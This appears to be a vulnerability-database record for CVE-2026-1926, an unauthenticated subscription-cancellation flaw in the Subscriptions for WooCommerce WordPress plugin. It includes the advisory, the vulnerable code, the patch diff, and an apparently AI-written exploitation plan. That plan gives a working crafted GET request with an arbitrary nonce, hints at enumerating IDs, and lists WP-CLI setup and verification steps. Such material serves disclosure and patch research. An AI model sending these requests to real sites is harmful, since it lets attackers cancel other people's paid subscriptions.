[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4cpQDGF5nJtP1u4aLu0ALAb-K_2dWuKgMotoGrLVlvo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-1926","subscriptions-for-woocommerce-missing-authorization-to-unauthenticated-arbitrary-subscription-cancellation","Subscriptions for WooCommerce \u003C= 1.9.2 - Missing Authorization to Unauthenticated Arbitrary Subscription Cancellation","The Subscriptions for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wps_sfw_admin_cancel_susbcription()` function in all versions up to, and including, 1.9.2. This is due to the function being hooked to the `init` action without any authentication or authorization checks, and only performing a non-empty check on the nonce parameter without actually validating it via `wp_verify_nonce()`. This makes it possible for unauthenticated attackers to cancel any active WooCommerce subscription by sending a crafted GET request with an arbitrary nonce value via the `wps_subscription_id` parameter.","subscriptions-for-woocommerce",null,"\u003C=1.9.2","1.9.3","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-03-17 14:44:52","2026-03-18 03:37:14",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Feabfdf29-eca9-4e4b-b809-23a83f5a91ac?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","admin\u002Fclass-subscriptions-for-woocommerce-admin.php","admin\u002Fpartials\u002Fclass-subscriptions-for-woocommerce-admin-subscription-list.php","includes\u002Fclass-subscriptions-for-woocommerce-scheduler.php","includes\u002Fclass-subscriptions-for-woocommerce.php","includes\u002Fsubscriptions-for-woocommerce-common-function.php","languages\u002Fsubscriptions-for-woocommerce-en_US.po","languages\u002Fsubscriptions-for-woocommerce.pot","researched",false,3,"# Exploitation Research Plan: CVE-2026-1926 - Unauthenticated Arbitrary Subscription Cancellation\n\n## 1. Vulnerability Summary\nThe **Subscriptions for WooCommerce** plugin (\u003C= 1.9.2) contains a missing authorization and weak nonce validation vulnerability in the function `wps_sfw_admin_cancel_susbcription()` (note the typo \"susbcription\" in the function name). This function is registered to the global `init` hook, meaning it executes on every page load. It fails to check for user capabilities (authentication\u002Fauthorization) and only verifies that a nonce parameter is present and non-empty, without calling `wp_verify_nonce()`. This allows any unauthenticated visitor to cancel any WooCommerce subscription by providing its ID.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Any WordPress frontend or backend URL (e.g., `\u002F` or `\u002Fwp-admin\u002Fadmin-ajax.php`), as the vulnerable function is hooked to `init`.\n- **HTTP Method**: `GET`\n- **Parameters**:\n    - `wps_subscription_id`: The ID of the target subscription (a post ID of type `wps_subscriptions`).\n    - `wps_subscription_status_admin`: The current status of the subscription (typically `active`).\n    - `_wpnonce`: Any non-empty string (e.g., `bypass`).\n- **Authentication**: None required (Unauthenticated).\n- **Preconditions**: An active subscription must exist in the system.\n\n## 3. Code Flow\n1. **Entry Point**: In `includes\u002Fclass-subscriptions-for-woocommerce.php`, the plugin initializes the admin class and registers hooks:\n   ```php\n   \u002F\u002F includes\u002Fclass-subscriptions-for-woocommerce.php\n   $this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription' );\n   ```\n2. **Hook Execution**: Upon any HTTP request, the `init` hook triggers `Subscriptions_For_Woocommerce_Admin::wps_sfw_admin_cancel_susbcription()`.\n3. **Vulnerable Logic** (In `admin\u002Fclass-subscriptions-for-woocommerce-admin.php`):\n   - The function retrieves `$_GET['wps_subscription_id']` and `$_GET['wps_subscription_status_admin']`.\n   - It checks `if ( isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) )`.\n   - **Crucially**, it fails to call `wp_verify_nonce( $_GET['_wpnonce'], ... )` and fails to call `current_user_can()`.\n   - It proceeds to call subscription management functions (likely `wps_sfw_update_meta_data` or a specific cancellation method) to set the subscription status to `cancelled`.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the function **only checks if the nonce is non-empty**. It does not perform actual cryptographic validation.\n- **Requirement**: `$_GET['_wpnonce']` must be set to any value.\n- **Strategy**: No acquisition needed. Use a placeholder value like `_wpnonce=1`.\n\n## 5. Exploitation Strategy\nThe goal is to cancel an active subscription.\n\n1. **Target Identification**: Identify a valid `subscription_id`. In a real attack, these can be enumerated sequentially. In a PoC, we will use the ID created in the setup phase.\n2. **Craft Request**: Construct a GET request to the site root.\n3. **Execution**: Use `http_request` to send the payload.\n\n**Payload Construction**:\n```http\nGET \u002F?wps_subscription_id=[SUBSCRIPTION_ID]&wps_subscription_status_admin=active&_wpnonce=pwned HTTP\u002F1.1\nHost: localhost\n```\n\n## 6. Test Data Setup\nTo perform a valid PoC, the environment must have:\n1. **WooCommerce** installed and configured.\n2. **Subscriptions for WooCommerce** (v1.9.2) installed and active.\n3. **A valid subscription**:\n   - Create a subscription post (Type: `wps_subscriptions`).\n   - Set the subscription status meta to `active`.\n\n**Setup Commands (WP-CLI)**:\n```bash\n# Ensure plugin is at vulnerable version\nwp plugin install subscriptions-for-woocommerce --version=1.9.2 --activate\n\n# Create a dummy subscription (Custom Post Type: wps_subscriptions)\nSUB_ID=$(wp post create --post_type=wps_subscriptions --post_status=publish --post_title=\"Test Subscription\" --porcelain)\n\n# Set the required metadata for the plugin to recognize it as active\nwp post meta update $SUB_ID wps_subscription_status active\nwp post meta update $SUB_ID wps_customer_id 1\n```\n\n## 7. Expected Results\n- **Response**: The server should return a 200 OK or a redirect (depending on how the plugin handles the completion of the function). \n- **Internal State**: The metadata `wps_subscription_status` for the given `$SUB_ID` should be changed from `active` to `cancelled`.\n- **User Impact**: The legitimate subscriber's recurring billing and services are terminated.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the modification using WP-CLI:\n\n```bash\n# Check the subscription status meta\nwp post meta get [SUBSCRIPTION_ID] wps_subscription_status\n```\n*A successful exploit will return `cancelled`.*\n\n## 9. Alternative Approaches\nIf the `wps_subscription_status_admin` parameter requires a specific state to trigger the cancellation logic, try:\n- `wps_subscription_status_admin=on-hold`\n- `wps_subscription_status_admin=pending`\n\nIf the plugin logic requires the subscription to be tied to a real WooCommerce Order:\n1. Create a WooCommerce Order first: `wp wc order create --user=1 --porcelain`\n2. Link the subscription to that order using the meta key `wps_parent_order`.\n3. Retry the exploit.","The Subscriptions for WooCommerce plugin (\u003C= 1.9.2) is vulnerable to unauthenticated arbitrary subscription cancellation because it hooks the cancellation logic to the global 'init' action without verifying user capabilities or validating the nonce cryptographically. This allows any visitor to terminate active subscriptions by simply providing a valid subscription ID and an arbitrary non-empty nonce value.","\u002F\u002F includes\u002Fclass-subscriptions-for-woocommerce.php line 248\n$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );\n\n---\n\n\u002F\u002F admin\u002Fclass-subscriptions-for-woocommerce-admin.php line 831\npublic function wps_sfw_admin_cancel_susbcription() {\n\n    if ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {\n        $wps_status   = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) );\n        $wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );\n        if ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {\n            wps_sfw_update_meta_data( $wps_subscription_id, 'wps_subscription_status', 'cancelled' );\n            \u002F\u002F ... (truncated)","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsubscriptions-for-woocommerce\u002F1.9.2\u002Fadmin\u002Fclass-subscriptions-for-woocommerce-admin.php\t2026-01-29 06:45:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsubscriptions-for-woocommerce\u002F1.9.3\u002Fadmin\u002Fclass-subscriptions-for-woocommerce-admin.php\t2026-02-27 07:32:58.000000000 +0000\n@@ -830,7 +830,8 @@\n \t *\u002F\n \tpublic function wps_sfw_admin_cancel_susbcription() {\n \n-\t\tif ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && isset( $_GET['_wpnonce'] ) && ! empty( $_GET['_wpnonce'] ) ) {\n+\t\tif ( isset( $_GET['wps_subscription_status_admin'] ) && isset( $_GET['wps_subscription_id'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['wps_sfw_cancel_nonce'] ) ), $_GET['wps_subscription_id'] . $_GET['wps_subscription_status_admin'] )  && current_user_can( 'manage_woocommerce' ) ) {\n+\n \t\t\t$wps_status   = sanitize_text_field( wp_unslash( $_GET['wps_subscription_status_admin'] ) );\n \t\t\t$wps_subscription_id = sanitize_text_field( wp_unslash( $_GET['wps_subscription_id'] ) );\n \t\t\tif ( wps_sfw_check_valid_subscription( $wps_subscription_id ) ) {\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsubscriptions-for-woocommerce\u002F1.9.2\u002Fincludes\u002Fclass-subscriptions-for-woocommerce.php\t2026-01-29 06:45:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsubscriptions-for-woocommerce\u002F1.9.3\u002Fincludes\u002Fclass-subscriptions-for-woocommerce.php\t2026-02-27 07:32:58.000000000 +0000\n@@ -245,8 +245,8 @@\n \n \t\t\t$this->loader->add_action( 'woocommerce_process_product_meta', $sfw_plugin_admin, 'wps_sfw_save_custom_product_fields_data_for_subscription', 10, 2 );\n \n-\t\t\t$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );\n-\t\t\t$this->loader->add_action( 'init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );\n+\t\t\t$this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_cancel_susbcription', 99 );\n+\t\t\t$this->loader->add_action( 'admin_init', $sfw_plugin_admin, 'wps_sfw_admin_reactivate_onhold_susbcription', 99 );","The exploit is achieved by sending a crafted HTTP GET request to any URL on the WordPress site. Because the vulnerable function is hooked to 'init', it executes on every request. An attacker does not need to be authenticated. The request must include three parameters: 'wps_subscription_id' containing the ID of the target subscription, 'wps_subscription_status_admin' containing the current status (typically 'active'), and '_wpnonce' set to any non-empty string. Since the plugin only checks for the existence of the nonce parameter without calling wp_verify_nonce(), the request will pass the conditional check and update the subscription status to 'cancelled' in the database.","gemini-3-flash-preview","2026-04-18 02:52:32","2026-04-18 02:52:54",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.9.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsubscriptions-for-woocommerce\u002Ftags\u002F1.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsubscriptions-for-woocommerce.1.9.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsubscriptions-for-woocommerce\u002Ftags\u002F1.9.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsubscriptions-for-woocommerce.1.9.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsubscriptions-for-woocommerce\u002Ftags"]